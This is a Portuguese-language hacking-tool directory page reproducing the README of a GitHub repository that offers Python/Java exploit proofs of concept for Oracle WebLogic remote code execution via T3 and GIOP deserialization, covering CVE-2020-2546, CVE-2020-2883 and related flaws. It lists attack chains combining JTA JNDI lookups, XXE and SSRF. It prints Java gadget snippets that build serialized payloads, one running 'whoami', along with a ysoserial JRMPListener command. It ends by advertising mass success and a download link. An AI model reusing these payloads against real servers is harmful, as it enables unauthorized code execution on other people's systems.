Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/hktalent/cve_2020_2546
Frameworks de ExploraçãoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoDesenvolvimento de Payloads
GitHubhktalent/cve_2020_2546

CVE_2020_2546

CVE-2020-2546,CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic T3 payload exploit poc python3,

Ver Repositório
133272há 3 anosRevisado pelo Kitploit
Site

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Twitter: @Hktalent3135773 Tweet Follow on Twitter

1. Exploit RCE do Weblogic

CVE_2020_2546 CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic RCE T3 payload exploit poc python3

2. Exploit

  • GIOP + send bind (CVE-2020-2555, CVE-2019-2888, CVE-2019-2888<XXE+SSRF> ou outros)
  • GIOP + send jta (rmi ou outros)
  • GIOP + send jta + SSRF
  • T3 + send jta
  • T3 + send jta + SSRF
  • T3 + send XXE
  • T3 + send XXE + SSRF

2.1. Servidor rmi, veja

  • Não use org.mozilla.classfile.DefiningClassLoader
  • Não use java -cp $mtx/../tools/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 'whoami' mais veja: https://github.com/hktalent/CVE-2020-2551

3. Código

3.1. Código 1

root@kitploit:~
MVEL.compileExpression
MvelExtractor o = new MvelExtractor("xxx;");
		ObjectOutputStream oo = new ObjectOutputStream(System.out); 
		oo.writeObject(o);
		oo.flush();

3.2. Código 2

root@kitploit:~
public MsgOutput getObject(final String command) throws Exception {
	  String jndiAddress = command;
		JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
		jtaTransactionManager.setUserTransactionName(jndiAddress);
		MsgOutput remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), MsgOutput.class);
    return remote;
  }

3.3. Código 3

root@kitploit:~
public IORDelegate getObject(final String command) throws Exception {
IORDelegate ior = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", new Jdk7u21().getObject("whoami")), IORDelegate.class);
    return ior;
  }

3.4. Código 4

root@kitploit:~
weblogic.iiop.IIOPRemoteRefd,ObjectMessageImpl

3.5. Código CVE-2020-2883

https://github.com/hktalent/CVE_2020_2546/issues/4

2883

imagem

4. Payload CVE-2020-2546

Lote único, inúmeros sucessos

imagem
imagem

5. Agradecimentos a

@r4v3zn @0nise

Baixar ferramenta